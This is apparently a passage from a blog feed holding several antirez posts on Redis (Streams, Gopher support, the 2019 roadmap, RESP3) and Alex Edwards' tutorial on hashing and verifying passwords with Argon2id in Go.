can use the go bug command to create a new Github issue. $ go bug This will open a browser window containing an issue pre-filled with your system information and reporting template.

• Redis streams as a pure data structure
  Antirez · Mar 22, 2019

  The new Redis data structure introduced in Redis 5 under the name of “Streams” generated quite some interest in the community. Soon or later I want to run a community survey, talking with users having production use cases, and blogging about it. Today I want to address another issue: I’m starting to suspect that many users are only thinking at Streams as a way to solve Kafka(TM)-alike use cases. Actually the data structure was designed to *also* work in the context of messaging with producers and consumers, but to think that Redis Streams are just good for that is incredibly reductive. Streaming is a terrific pattern and “mental model” that can be applied when designing systems with great success, but Redis Streams, like most Redis data structures, are more general, and can be used to model dozen of different unrelated problems. So in this blog post I’ll focus on Streams as a pure data structure, completely ignoring its blocking operations, consumer groups, and all the messaging parts. ## Streams are CSV files on steroids If you want to log a series of structured data items and decided that databases are overrated after all, you may say something like: let’s just open a file in append only mode, and log every row as a CSV (Comma Separated Value) item: (open data.csv in append only) time=1553096724033,cpu_temp=23.4,load=2.3 time=1553096725029,cpu_temp=23.2,load=2.1 Looks simple and people did this for ages and still do: it’s a solid pattern if you know what you are doing. But what is the in-memory equivalent of that? Memory is more powerful than an append only file and can automagically remove the limitations of a CSV file like that: 1. It’s hard (inefficient) to do range queries here. 2. There is too much redundant information: the time is almost the same in every entry and the fields are duplicated. At the same time removing it will make the format less flexible, if I want to switch to a different set of fields. 3. Item offsets are just the byte offset in the file: if we change the file structure the offset will be wrong, so there is no actual true concept of primary ID here. Entries are basically not univocally addressed in some way. 4. I can’t remove entries, but only mark them as no longer valid without the ability of garbage collecting, if not by rewriting the log. Log rewriting usually sucks for several reasons and if it can be avoided, it’s good. Still such log of CSV entries is also great in some way: there is no fixed structure and fields may change, is trivial to generate, and after all is quite compact as well. The idea with Redis Streams was to retain the good things, but go over the limitations. The result is a hybrid data structure very similar to Redis Sorted Sets: they *feel like* a fundamental data structure, but to get such an effect, internally it uses multiple representations. ## Streams 101 (you may skip that if you know already Redis Stream basics) Redis Streams are represented as delta-compressed macro nodes that are linked together by a radix tree. The effect is to be able to seek to random entries in a very fast way, to obtain ranges if needed, remove old items to create a capped stream, and so forth. Yet our interface to the programmer is very similar to a CSV file: > XADD mystream * cpu-temp 23.4 load 2.3 "1553097561402-0" > XADD mystream * cpu-temp 23.2 load 2.1 "1553097568315-0" As you can see from the example above the XADD command auto generates and returns the entry ID, which is monotonically incrementing and has two parts: -. The time is in milliseconds and the counter increases for entries generated in the same milliseconds. So the first new abstraction on top of the “append only CSV file” idea is that, since we used the asterisk as the ID argument of XADD, we get the entry ID for free from the server. Such ID is not only useful to point to a specific item inside a stream, it’s also related to the time when the entry was added to the stream. In fact with XRANGE it is possible to perform range queries or fetch single items: > XRANGE mystream 1553097561402-0 1553097561402-0 1) 1) "1553097561402-0" 2) 1) "cpu-temp" 2) "23.4" 3) "load" 4) "2.3" In this case I used the same ID as the start and the stop of the range in order to identify a single element. However I can use any range, and a COUNT argument to limit the number of results. Similarly there is no need to specify full IDs as range, I can just use the millisecond unix time part of the IDs, to get elements in a given range of time: > XRANGE mystream 1553097560000 1553097570000 1) 1) "1553097561402-0" 2) 1) "cpu-temp" 2) "23.4" 3) "load" 4) "2.3" 2) 1) "1553097568315-0" 2) 1) "cpu-temp" 2) "23.2" 3) "load" 4) "2.1" For now there is no need to show you more Streams API, there is the Redis documentation for that. For now let’s just focus on that usage pattern: XADD to add stuff, XRANGE (but also XREAD) in order to fetch back ranges (depending on what you want to do), and let’s see why I claim Streams are so powerful as a data structure. However if you want to learn more about Redis Streams and their API, make sure to visit the tutorial here: https://redis.io/topics/streams-intro ## Tennis players A few days ago I was modeling an application with a friend of mine which is learning Redis those days: an app in order to keep track of local tennis courts, local players and matches. The way you model players in Redis is quite obvious, a player is a small object, so an Hash is all you need, with key names like player:. As you model the application data further, to use Redis as its primary, you immediately realize you need a way to track the games played in a given tennis club. If player:1 and player:2 played a game, and player 1 won, we could write the following entry in a stream: > XADD club:1234.matches * player-a 1 player-b 2 winner 1 "1553254144387-0" With this simple operation we have: 1. A unique identifier of the match: the ID in the stream. 2. No need to create an object in order to identify a match. 3. Range queries for free to paginate the matches, or check the matches played in a given moment in the past. Before Streams we needed to create a sorted set scored by time: the sorted set element would be the ID of the match, living in a different key as a Hash value. This is not just more work, it’s also an incredible amount of memory wasted. More, much more you could guess (see later). For now the point to show is that Redis Streams are kinda of a Sorted Set in append only mode, keyed by time, where each element is a small Hash. And in its simplicity this is a revolution in the context of modeling for Redis. ## Memory usage The above use case is not just a matter of a more solid pattern. The memory cost of the Stream solution is so different compared to the old approach of having a Sorted Set + Hash for every object that makes certain things that were not viable, now perfectly fine. Those are the numbers for storing one million of matches in the configurations exposed previously: Sorted Set + Hash memory usage = 220 MB (242 RSS) Stream memory usage = 16.8 MB (18.11 RSS) This is more than an order of magnitude difference (13 times difference exactly), and it means that use cases that yesterday were too costly for in-memory now are perfectly viable. The magic is all in the representation of Redis Streams: the macro nodes can contain several elements that are encoded in a data structure called listpack in a very compact way. Listpacks will take care, for instance, to encode integers in binary form even if they are semantically strings. On top of that, we then apply delta compression and same-fields compression. Yet we are able to seek by ID or time because such macro nodes are linked in the radix tree, which was also designed to use little memory. All these things together account for the low memory usage, but the interesting part is that semantically the user does not see any of the implementation details making Streams efficient. Now let’s do some simple math. If I can store 1 million entries in about 18 MB of memory, I can store 10 millions in 180 MB, and 100 millions in 1.8 GB. With just 18 GB of memory I can have 1 billion items. ## Time series One important thing to note is, in my opinion, how the usage above where we used a Stream to represent a tennis match was semantically *very different* than using a Redis Stream for a time series. Yes, logically we are still logging some kind of event, but one fundamental difference is that in one case we use the logging and the creation of entries in order to render objects. While in the case of time series, we are just metering something happening externally, that does not really represent an object. You may think that this difference is trivial but it’s not. It is important for Redis users to build the idea that Redis Streams can be used in order to create small objects that have a total order, and assign IDs to such objects. However even the most basic use case of time series is, obviously, a huge one here, because before Streams Redis was a bit hopeless in regard to such use case. The memory characteristics and flexibility of streams, plus the ability to have capped streams (see the XADD options), is a very important tool in the hands of the developer. ## Conclusions Streams are flexible and have lots of use cases, however I wanted to take this blog post short to make sure that there is a clear take-home message in the above examples and analysis of the memory usage. Perhaps this was already obvious to many readers, but talking with people in the last months gave me the feeling that there was a strong association between Streams and the streaming use case, like if the data structure was only good at that. That’s not the case :-) Comments

• Gopher: a present for Redis
  Antirez · Feb 25, 2019

  Ten years ago Redis was announced on Hacker News, and I use this as virtual birthdate for the project, simply because it is more important when it was announced to the public than the actual date of the project first line of code (think at it conception VS actual birth in animals). I’ll use the ten years of Redis as an excuse to release something I played a bit in the previous days, thinking to use it for the 1st April fool: but such date is far and I want to talk to you about this project now… So, happy birthday Redis! Here it’s your present: a Gopher protocol implementation. [… here Redis tries to stop the tears, but the emotion is too strong and there are bits (I mean zeros and ones) on the floor …] WTF are you saying?! should be your automatic question. Gopher in 2019 sounds a bit strange. However it is not *just* a joke, while it is largely a joke. The implementation is just 100 lines of code after all, excluding the external tool to render the pages into Redis keys. But… the thing is that there is really an active community around Gopher, a very small one but one that is growing in the latest years and months. There are people that feel that internet is no longer what it used to be. There is too much control, companies tracking, comments, likes, retweets, to the point that the content is no longer the king. One writes new things for them to be popular for 5 hours and disappear. There is no longer a discussion that can survive more than a few minutes without becoming some kind of flame, unless all the parties self-censor every possible feeling, uneasy word, and belief, to the point to make the discussion quite useless. Finally to load a stupid page with 1k of text requires to load 50 javascript files, to see the screen flickering since client-side rendering is cool, and so forth. On the other hand Gopher is a text only protocol that is great to deliver text only documents where the stress is in what you write. But that would be fetichism, for me the silver bullet of Gopher is that it is UNCOOL. Uncool enough that it will be forever, AFAIK, an alternative reality where certain folks can decide to separate from the rest, to experience a different way to do things, more similar to the old times of BBSs or the first years of the internet. A place where most people will not want to go just to read nerdy stuff in an 80 columns fixed size font. What you do in Gopher is to create your Gopher hole, that is, your space inside the Gopher universe, like your web site on the internet basically. There was no shortage of tools to do that already, but Redis is quite nice for a few reasons: you can change the Redis keys to change the site content in real time, that’s handy. You can use replication in order to duplicate a site, and can even just save your RDB file to have an exact copy of the whole Gopher hole to archive for backup or historical reasons. This Redis Gopher concept was created with the collaboration of Freaknet, a historical hacking laboratory experience here in Catania. https://it.wikipedia.org/wiki/FreakNet. Those folks do a lot of interesting stuff, including a retrocomputing hardware museum project in Palazzolo Acreide here: https://museo.freaknet.org/en/. How it works? Well it’s trivial, I hijacked the inline protocol, and specifically two kind of inline requests that were anyway illegal: an empty request or any request that starts with "/" (there are no Redis commands starting with such a slash). Normal RESP2/RESP3 requests are completely out of the path of the Gopher protocol implementation and are served as usually as well. If you open a connection to Redis when Gopher is enabled and send it a string like "/foo", if there is a key named "/foo" it is served via the Gopher protocol. The whole implementation is 100 lines of code. Initially I thought about using data structures and have semantical transformations to Gopher types, but that’s just complex and useless. Instead what I did was to provide an authoring tool for Gopher over Redis, you can find it here: https://github.com/antirez/gopher2redis To see that example Gopher hole running on a Redis instance just go to gopher://gopher.antirez.com, and btw that will be the address of my Gopher hole once I’ll build one in the next days. P.S. I suggest using the Lynx text only web/gopher browser to access Gopher. The gopher support is disabled by default, to enable it use the Redis unstable branch and use the “gopher-enabled” option, setting it to yes. However MAKE SURE to also password protect Redis: the Gopher protocol will still serve content, but at the same time normal Redis commands will not be accessible. This way (and assuming you don’t have data other than your Gopher keys to expose in the instance) you could make the instance public, as a true Gopher server. Well, have fun with Gopher! I hope this Gopher thing will go forward, I really believe there are a few of us that need to create a community outside the chaos of the modern Internet. No, it will not be possible to have no interactions. For instance I’ve no plans to stop blogging or using Internet. But certain slower higher quality communications need a place to prosper. Comments

• An update about Redis developments in 2019
  Antirez · Feb 20, 2019

  Yesterday a concerned Redis user wrote the following on Hacker News: — https://news.ycombinator.com/item?id=19204436 — I love Redis, but I'm a bit skeptical of some of the changes that are currently in development. The respv3 protocol has some features that, while they sound neat, also could significantly complicate client library code. There's also a lot of work going into a granular acl. I can't imagine why this would be necessary, or a higher priority than other changes like multi-thread support, better persistence model, data-types, etc. — end of user comment — I’ve the feeling she/he (not sure) is not the only one that looks at ACLs as some sort of feature imposed by the Redis Labs goals, because “enterprise users” or something like that. Also the other points in the comment are interesting, and I believe everything is very well worth addressing in order to communicate clearly with the Redis community what’s the road ahead. For simplicity I’ll split this blog post into sections addressing every single feature mentioned in the original comment. ## RESP3 The goal of RESP3, as I already blogged in these pages, is to actually simplify the clients landscape. Hopefully every client will have a lower layer that will not try to reinvent some kind of higher level interface: redis.call(“get”,”foo”). There is no longer need to orchestrate conversions because now the protocol is semantical enough to tell the client what a given reply should look like in the hand of the caller, nor any need to know beforehand the command fingerprint for the majority of commands. What I think the user is referring is RESP3 support for out of band communications, that is the reply “attributes”. I really believe that in the future of Redis “client side caching” will be a big thing. It’s the logical step in every scalable system. However without server assistance client side cache invalidation is a nightmare. This is the reason why RESP3 supports attributes in replies, mainly. However probably Redis 6 *will not implement any of that*. Redis unstable, that will become Redis 6, already has a RESP3 implementation that is almost complete, and there are no attributes. The clients implementing RESP3 can just decide to discard attributes if they are willing to be really future-proof, and likely attributes will not be sent at all anyway even for future Redis versions if the user did not activate some kind of special feature. For instance, for client side caching, the connection will have to be put in some special mode. Moreover, as you know, Redis 6 will be completely backward compatible with RESP2. Actually I’m starting to believe that RESP2 support will never be removed, because it is almost for free, and there is no good reason to break backward compatibility once we did the effort to implement the abstraction layer between RESP2 and RESP3. Normally I don’t like to change things without a good reason, however RESP2 limitations were having a strong effect on the client ecosystem. I would like to have a client landscape where users, going from one client to the other, will feel at home, and the API will be the Redis API, not the layer that the client author invented. I’m not against an *higher level* API in addition to the lower level one btw, but there should be a common ground, and clients should be able to send commands without knowing anything about such commands. ## ACLs The ACL specification was redacted by myself four years ago. I waited so much time in order to convince myself this was really the time to implement it: we went a long way without any ACL using just tricks, mainly command renaming. However don’t believe that ACLs main motivation is enterprise customers in need for security. As a side effect, ACLs also allow authentication of users for security purposes, but the main goal of the feature is *operational*. Let me show you an example. You have a Redis instance and you plan to use the instance to do a new thing: delayed jobs processing. You get a library from the internet, and it looks to work well. Now why on the earth such library, that you don’t know line by line, should be able to call “FLUSHALL” and flush away your database instantly? Maybe the library test will have such command inside and you realize it when it’s too late. Or maybe you just hired a junior developer that is keeping calling “KEYS *” on the Redis instance, while your company Redis policy is “No KEYS command”. Another scenario, cloud providers: they need to carefully rename the admin commands, and even to mask such commands from being leaked for some reason. More tricks: so MONITOR will not show the commands in the output for instance. With ACLs you can setup Redis so that default users, without some authentication, will be prevented to run anything that is administrative or dangerous. I think this will be a big improvement for operations. Moreover ACLs is one of the best code I wrote for Redis AFAIK. There is nearly no CPU cost at all, unless you se key patterns, but even so it’s small. The implementation is completely self contained inside the acl.c file, the rest of the core has a handful of calls to the ACL API. No complexity added to the system because it is completely modular. Actually the ACL code allowed to do some good refactoring around the AUTH command. ## Multi threading There are two possible multi threading supports that Redis could get. I believe the user is referring to “memcached alike” multithreading, that is the ability to scale a single Redis instance to multiple threads in order to increase the operations per second it can deliver in things like GET or SET and other simple commands. This involves making the I/O, command parsing and so forth multi threaded. So let’s call this thing “I/O threading”. Another multi threaded approach is to, instead, allow slow commands to be executed in a different thread, so that other clients are not blocked. We’ll call this threading model “Slow commands threading”. Well, that’s the plan: I/O threading is not going to happen in Redis AFAIK, because after much consideration I think it’s a lot of complexity without a good reason. Many Redis setups are network or memory bound actually. Additionally I really believe in a share-nothing setup, so the way I want to scale Redis is by improving the support for multiple Redis instances to be executed in the same host, especially via Redis Cluster. The things that will happen in 2019 about that are two: A) Redis Cluster multiple instances will be able to orchestrate to make a judicious use of the disk of the local instance, that is, let’s avoid an AOF rewrite at the same time. B) We are going to ship a Redis Cluster proxy as part of the Redis project, so that users are able to abstract away a cluster without having a good implementation of the Cluster protocol client side. Another thing to note is that Redis is not Memcached, but, like memcached, is an in-memory system. To make multithreaded an in-memory system like memcached, with a very simple data model, makes a lot of sense. A multi-threaded on-disk store is mandatory. A multi-threaded complex in-memory system is in the middle where things become ugly: Redis clients are not isolated, and data structures are complex. A thread doing LPUSH need to serve other threads doing LPOP. There is less to gain, and a lot of complexity to add. What instead I *really want* a lot is slow operations threading, and with the Redis modules system we already are in the right direction. However in the future (not sure if in Redis 6 or 7) we’ll get key-level locking in the module system so that threads can completely acquire control of a key to process slow operations. Now modules can implement commands and can create a reply for the client in a completely separated way, but still to access the shared data set a global lock is needed: this will go away. ## Better persistence Recently we did multiple efforts in order to improve this kind of fundamental functions of Redis. One of the best thing that was implemented lately is the RDB preamble inside the AOF file. Also a lot of work went both in Redis 4 and 5 about replication, that is now completely at another level compared to what it used to be. And yes, it is still one of my main focus to improve such parts. ## Data structures Now Redis has Streams, starting with Redis 5. For Redis 6 and 7 what is planned is, to start, to make what we have much more memory efficient by changing the implementations of certain things. However to add new data structures there are a lot of considerations to do. It took me years to realize how to fill the gap, with streams, between lists, pub/sub and sorted sets, in the context of time series and streaming. I really want Redis to be a set of orthogonal data structures that the user can put together, and not a set of *tools* that are ready to use. Streams are an abstract log, so I think it’s a very worthwhile addition. However other things I’m not completely sure if they are worth to be inside the core without a very long consideration. Anyway in the latest years there was definitely more stress in adding new data structures. HyperLogLogs, more advanced bit operations, streams, blocking sorted set operations (ZPOP* and BZPOP*), and streams are good examples. ## Conclusions I believe that the Redis community should be aware about why something is done and why something is instead postponed. I do the error to communicate a lot via Twitter like if everybody is there, but many people happen to have a life :-D and don’t care. The blog is a much better way to inform the community, I need to take the time to blog more. Incidentally I love to write posts, so it’s a win-win. An important thing to realize is that Redis has not a solid roadmap, over the years I found that opportunistic development is a huge win over having a roadmap. Something is demanded? I see the need? I’m in the mood to code it? It’s the right moment because there are no other huge priorities? There are a set of users that are helping the design process, giving hints, ideas, testing stuff? It’s the right moment, let’s do it. To have a solid roadmap for Redis is silly because the size of the OSS core team is small, sometimes I remain stuck with some random crash for weeks… Any fixed long term plan would not work. Moreover as the Redis community gives feedbacks my ideas change a lot, so I would rewrite the roadmap every month. Yet blogging is a good solution to at least show what is the current version of the priorities / ideas, and to show why other ideas were abandoned. A final note: the level of freedom I've with Redis Labs about what to put inside the open source project side is almost infinite. I think this is kinda of a miracle in the industry, or just the people I work with at Redis Labs are nice folks that understand that what we are doing originated from the open source movement and is wise to keep it going in that way. But it's not a common thing. If I do errors in the Redis roadmap they are surely my errors. Comments

• How to hash and verify passwords with Argon2 in Go
  Alex Edwards · Dec 10, 2018

  Thanks to Andreas Auernhammer, author of the golang.org/x/crypto/argon2 package, for checking over this post before publication. If you're planning to store user passwords it's good practice (essential really) to hash them using a computationally expensive key-derivation function (KDF) like Bcrypt, Scrypt or Argon2. Hashing and verifying passwords in Go with Bcrypt and Scrypt is already easy to do thanks to the golang.org/x/crypto/bcrypt package and Matt Silverlock's elithrar/simple-scrypt package. I recommend them both. If you want to use Argon2 — which is widely considered to be the best in class KDF for hashing passwords — then you've got a couple of choices. The tvdburgt/go-argon2 package provides Go bindings to the libargon2 C library, or you can implement a pure Go solution by wrapping the golang.org/x/crypto/argon2 package with helpers for hashing and verifying passwords. In the rest of this post I'm going to explain exactly how to use this pure Go approach. A Brief Introduction to Argon2 But first, a little bit of background. It's important to explain that the Argon2 algorithm has 3 variants which work slightly differently: Argon2d, Argon2i and Argon2id. In general, for password hashing you should use the Argon2id variant. This is essentially a hybrid of the Argon2d and Argon2i algorithms and uses a combination of data-independent memory access (for resistance against side-channel timing attacks) and data-depending memory access (for resistance against GPU cracking attacks). The Argon2 algorithm accepts a number of configurable parameters: Memory — The amount of memory used by the algorithm (in kibibytes). Iterations — The number of iterations (or passes) over the memory. Parallelism — The number of threads (or lanes) used by the algorithm. Salt length — Length of the random salt. 16 bytes is recommended for password hashing. Key length — Length of the generated key (or password hash). 16 bytes or more is recommended. The memory and iterations parameters control the computational cost of hashing the password. The higher these figures are, the greater the cost of generating the hash. It also follows that the greater the cost will be for any attacker trying to guess the password. But there's a balance that you need to strike. As you increase the cost, the time taken to generate the hash also increases. If you're generating the hash in response to a user action (like signing up or logging in to a website) then you probably want to keep the runtime to less than 500ms to avoid a negative user experience. If the Argon2 algorithm is running on a machine with multiple cores, then one way to decrease the runtime without reducing the cost is to increase the parallelism parameter. This controls the number of threads that the work is spread across. There's an important thing to note here though: changing the value of the parallelism parameter changes the output of the algorithm. So — for example — running Argon2 with a parallelism parameter of 2 will result in a different password hash to running it with a parallelism parameter of 4. Choosing Parameters Picking the right parameters for Argon2 depends heavily on the machine that the algorithm is running on, and you'll probably need to do some experimentation in order to set them appropriately. The recommended process for choosing the parameters can be paraphrased as follows: Set the parallelism and memory parameters to the largest amount you are willing to afford, bearing in mind that you probably don't want to max these out completely unless your machine is dedicated to password hashing. Increase the number of iterations until you reach your maximum runtime limit (for example, 500ms). If you're already exceeding the your maximum runtime limit with the number of iterations = 1, then you should reduce the memory parameter. Hashing Passwords Now that those explanations are out of the way let's jump into writing the code to hash a password with Argon2. First, you'll need to go get the golang.org/x/crypto/argon2 package which implements the Argon2 algorithm: $ go get golang.org/x/crypto/argon2 And you can use it to hash a specific password like so: File: main.go package main import ( "crypto/rand" "fmt" "log" "golang.org/x/crypto/argon2" ) type params struct { memory uint32 iterations uint32 parallelism uint8 saltLength uint32 keyLength uint32 } func main() { // Establish the parameters to use for Argon2. p := &params{ memory: 64 * 1024, iterations: 3, parallelism: 2, saltLength: 16, keyLength: 32, } // Pass the plaintext password and parameters to our generateFromPassword // helper function. hash, err := generateFromPassword("password123", p) if err != nil { log.Fatal(err) } fmt.Println(hash) } func generateFromPassword(password string, p *params) (hash []byte, err error) { // Generate a cryptographically secure random salt. salt, err := generateRandomBytes(p.saltLength) if err != nil { return nil, err } // Pass the plaintext password, salt and parameters to the argon2.IDKey // function. This will generate a hash of the password using the Argon2id // variant. hash = argon2.IDKey([]byte(password), salt, p.iterations, p.memory, p.parallelism, p.keyLength) return hash, nil } func generateRandomBytes(n uint32) ([]byte, error) { b := make([]byte, n) _, err := rand.Read(b) if err != nil { return nil, err } return b, nil } A quick note on terminology and naming. Formally, Argon2 is a key-derivation function and it produces a key derived from the provided password and salt. This derived key is our 'hashed password'. The other important thing to point out here is the generateRandomBytes() function. In this we're using Go's crypto/rand package to generate a cryptographically secure random salt, rather than using a fixed salt or a pseudo-random salt. If you run the program at this point it should print a slice containing the bytes of the hashed password, similar to this: $ go run main.go [9 18 35 54 101 221 120 189 57 241 229 248 140 1 102 58 93 211 115 49 131 162 24 50 167 142 227 198 85 186 200 248] Each time you run the program you'll see that it results in a completely different output for the same password, thanks to the addition of our random salt. Storing Passwords So, creating a hashed password with some specific parameters is straightforward enough. But in most cases you'll want to store the salt and specific parameters that you used alongside the hashed password, so that it can be reproducibly verified at a later point. The standard way to do this is to create an encoded representation of the hashed password which looks like this: $argon2id$v=19$m=65536,t=3,p=2$c29tZXNhbHQ$RdescudvJCsgt3ub+b+dWRWJTmaaJObG Let's break down what this represents: $argon2id — the variant of Argon2 being used. $v=19 — the version of Argon2 being used. $m=65536,t=3,p=2 — the memory (m), iterations (t) and parallelism (p) parameters being used. $c29tZXNhbHQ — the base64-encoded salt, using standard base64-encoding and no padding. $c29tZXNhbHQ$RdescudvJCsgt3ub+b+dWRWJTmaaJObG — the base64-encoded hashed password (derived key), using standard base64-encoding and no padding. Let's update the generateHash() function so that it returns a string in this format: File: main.go package main import ( "crypto/rand" "encoding/base64" "fmt" "log" "golang.org/x/crypto/argon2" ) ... func generateFromPassword(password string, p *params) (encodedHash string, err error) { salt, err := generateRandomBytes(p.saltLength) if err != nil { return "", err } hash := argon2.IDKey([]byte(password), salt, p.iterations, p.memory, p.parallelism, p.keyLength) // Base64 encode the salt and hashed password. b64Salt := base64.RawStdEncoding.EncodeToString(salt) b64Hash := base64.RawStdEncoding.EncodeToString(hash) // Return a string using the standard encoded hash representation. encodedHash = fmt.Sprintf("$argon2id$v=%d$m=%d,t=%d,p=%d$%s$%s", argon2.Version, p.memory, p.iterations, p.parallelism, b64Salt, b64Hash) return encodedHash, nil } ... And if you run the code again now, the output should look similar to this: $ go run run.go $argon2id$v=19$m=65536,t=3,p=2$Woo1mErn1s7AHf96ewQ8Uw$D4TzIwGO4XD2buk96qAP+Ed2baMo/KbTRMqXX00wtsU Verifying Passwords The final aspect to cover is how to verify passwords. In most cases, you'll take the encoded password hash that we've just produced and store it in a database of some kind. Then at a later point, you'll want to check whether a plaintext password provided by a user matches the one represented by the encoded password hash. In essence, the steps to do this check are: Extract the salt and parameters from the encoded password hash stored in the database. Derive the hash of the plaintext password using the exact same Argon2 variant, version, salt and parameters. Check whether this new hash is the same as the original one. You can implement this like so: File: main.go package main import ( "crypto/rand" "crypto/subtle" "encoding/base64" "errors" "fmt" "log" "strings" "golang.org/x/crypto/argon2" ) var ( ErrInvalidHash = errors.New("the encoded hash is not in the correct format") ErrIncompatibleVersion = errors.New("incompatible version of argon2") ) type params struct { memory uint32 iterations uint32 parallelism uint8 saltLength uint32 keyLength uint32 } func main() { p := &params{ memory: 64 * 1024, iterations: 3, parallelism: 2, saltLength: 16, keyLength: 32, } encodedHash, err := generateFromPassword("password123", p) if err != nil { log.Fatal(err) } match, err := comparePasswordAndHash("password123", encodedHash) if err != nil { log.Fatal(err) } fmt.Printf("Match: %v\n", match) } ... func comparePasswordAndHash(password, encodedHash string) (match bool, err error) { // Extract the parameters, salt and derived key from the encoded password // hash. p, salt, hash, err := decodeHash(encodedHash) if err != nil { return false, err } // Derive the key from the other password using the same parameters. otherHash := argon2.IDKey([]byte(password), salt, p.iterations, p.memory, p.parallelism, p.keyLength) // Check that the contents of the hashed passwords are identical. Note // that we are using the subtle.ConstantTimeCompare() function for this // to help prevent timing attacks. if subtle.ConstantTimeCompare(hash, otherHash) == 1 { return true, nil } return false, nil } func decodeHash(encodedHash string) (p *params, salt, hash []byte, err error) { vals := strings.Split(encodedHash, "$") if len(vals) != 6 { return nil, nil, nil, ErrInvalidHash } var version int _, err = fmt.Sscanf(vals[2], "v=%d", &version) if err != nil { return nil, nil, nil, err } if version != argon2.Version { return nil, nil, nil, ErrIncompatibleVersion } p = &params{} _, err = fmt.Sscanf(vals[3], "m=%d,t=%d,p=%d", &p.memory, &p.iterations, &p.parallelism) if err != nil { return nil, nil, nil, err } salt, err = base64.RawStdEncoding.DecodeString(vals[4]) if err != nil { return nil, nil, nil, err } p.saltLength = uint32(len(salt)) hash, err = base64.RawStdEncoding.DecodeString(vals[5]) if err != nil { return nil, nil, nil, err } p.keyLength = uint32(len(hash)) return p, salt, hash, nil } If you run this code now, you should get a positive match when comparing the plaintext and hashed password and see output like this: $ go run main.go Match: true If you change the plaintext password used in one of the function calls, like so: File: main.go package main ... func main() { p := &params{ memory: 64 * 1024, iterations: 3, parallelism: 2, saltLength: 16, keyLength: 32, } encodedHash, err := generateFromPassword("password123", p) if err != nil { log.Fatal(err) } // Use a different password... match, err := comparePasswordAndHash("pa$$word", encodedHash) if err != nil { log.Fatal(err) } fmt.Printf("Match: %v\n", match) } ... Then running the code should result in a negative match: $ go run main.go Match: false The complete sample code for this post is available in this gist.

• Why RESP3 will be the only protocol supported by Redis 6
  Antirez · Nov 09, 2018

  [EDIT! I'm reconsidering all this because Marc Gravell from Stack Overflow suggested that we could just switch protocol for backward compatibility per-connection, sending a command to enable RESP3. That means no longer need for a global configuration that switches the behavior of the server. Put in that way it is a lot more acceptable for me, and I'm reconsidering the essence of the blog post] A few weeks after the release of Redis 5, I’m here starting to implement RESP3, and after a few days of work it feels very well to see this finally happening. RESP3 is the new client-server protocol that Redis will use starting from Redis 6. The specification at https://github.com/antirez/resp3 should explain in clear terms how this evolution of our old protocol, RESP2, should improve the Redis ecosystem. But let’s say that the most important thing is that RESP3 is more “semantic” than RESP2. For instance it has the concept of maps, sets (unordered lists of elements), attributes of the returned data, that may augment the reply with auxiliary information, and so forth. The final goal is to make new Redis clients have less work to do for us, that is, just deciding a set of fixed rules in order to convert every reply type from RESP3 to a given appropriate type of the client library programming language. In the future of Redis I see clients that are smarter under the hood, trying to do their best in order to handle connections, pipelining, and state, and apparently a lot more simpler in the user-facing side, to the point that the ideal Redis client is like: result = redis.call(“GET”,keyname); Of course on top of that you can build more advanced abstractions, but the bottom layer should look like that, and the returned reply should not require any filtering that is ad-hoc for specific commands: RESP3 return type should contain enough information to return an appropriate data type. So HGETALL will return a RESP3 “map”, while LRANGE will return an “array”, and EXISTS will return a RESP3 “boolean”. This also allows new commands to work as expected even if the client library was not *specifically* designed to handle it. With RESP2 instead what happened was that likely the command worked using mechanisms like "method missing" or similar, but later when the command was *really* implemented in the client library, the returned type changed, introducing a subtle incompatibility. However, while the new protocol is an incremental improvement over the old one, it will introduce breaking incompatibilities in the client-library side (of course) and *in the application layer* as well. Because for instance, ZSCORE will now return a double, and not a string, so application code should be updated, or, alternatively, client libraries could implement a compatibility option that will turn the RESP3 replies back to their original RESP2 types. Lua scripts will also no longer work if not modified for the new protocol, because also Lua will see more semantical types returned by the redis.call() command. Similarly Lua will be able to return all the new data types implemented in RESP3. Because of all that, people are scared about my decision: I’m going to ship Redis 6 with support for *only* RESP3. There will be no compatibility mode to switch a Redis 6 server to RESP2, so you either upgrade your client library and upgrade your application (or use the client library backward compatibility mode), or you cannot switch to Redis 6. I’ve good reasons to do so, and I want to explain why I’m taking this decision, and how I’m mitigating the problems for users and client library authors. Let’s start from the mitigations: * Redis 5 will be fully supported for 2 years after the release of Redis 6. Everything critical will be back-ported to Redis 5 and patch-level releases will be available constantly. * Redis 6 is expected to be released in about 1 or 1.5 years. However Redis 6 will be switched to RESP3 in about 1 month. So people will use, experiment, and deal with an unstable Redis version that uses the new protocol for a lot of time. Given that unlike many other softwares, Redis unstable has a lot of casual users, both because it’s the default branch on Github, and because traditionally Redis unstable is never really so unstable, this will grant a lot of prior exposure. * I’m still not 100% sure about that, but the Lua scripting engine may have a compatibility mode in order to return the same types as of Redis 5. The compatibility however will not be enabled by default, and will be opt-in for each script executed, by calling a special redis.resp2_compat() function before calling Redis commands. So every Redis 6 server will behave the same regardless of its configuration, as Redis always did in the last 10 years. Those are the mitigations. And this is, instead, why I’ll not have Redis 6 supporting both versions: 1) It is more or less completely useless. If people switch Redis 6 to RESP2 mode, they are still in the past and are just waiting for Redis 7 to go out without RESP2 support and break everything. In the meantime, when you deal with a Redis 6 installation, you never know *what it replies*, depending on how it is configured. So the same client library may return an Hash or an Array for the same command. 2) It’s more work and more complexity without a good reason (see “1”). Many commands will require a check for the old protocol in order to see in what format to reply. 3) By binding the new Redis 6 features together with a protocol change, we are giving good reasons to users to do the switch and port their clients and applications. At some point everything will be over and we can focus on new things. Otherwise we’ll have a set of Redis 6 users that switched to the new server for the new features but are still with the old protocol, and Redis 7 will be the same drama again. 4) If somebody tells you that adapting the client libraries is a terrible work, well, I’ll beg to differ. Yes, there is some change to do, but now that I’m implementing the server side, I see that it’s not so terrible. What is terrible instead is that most client work is not payed at all and happens just because of passion and willingness to share with others. I bet that we’ll see many implementations of RESP3 in short time. 5) RESP3 is designed so that clients can automatically detect if it’s RESP2 or RESP3, and switch, so new clients will work both with Redis Well that’s all. I hope it clarifies my point of view and the reasons behind it, and also at the same time the mitigations that will be enabled during the protocol switch may serve to convince users that it will not be a very “hard” breakage. Comments

• Writing system software: code comments.
  Antirez · Oct 06, 2018

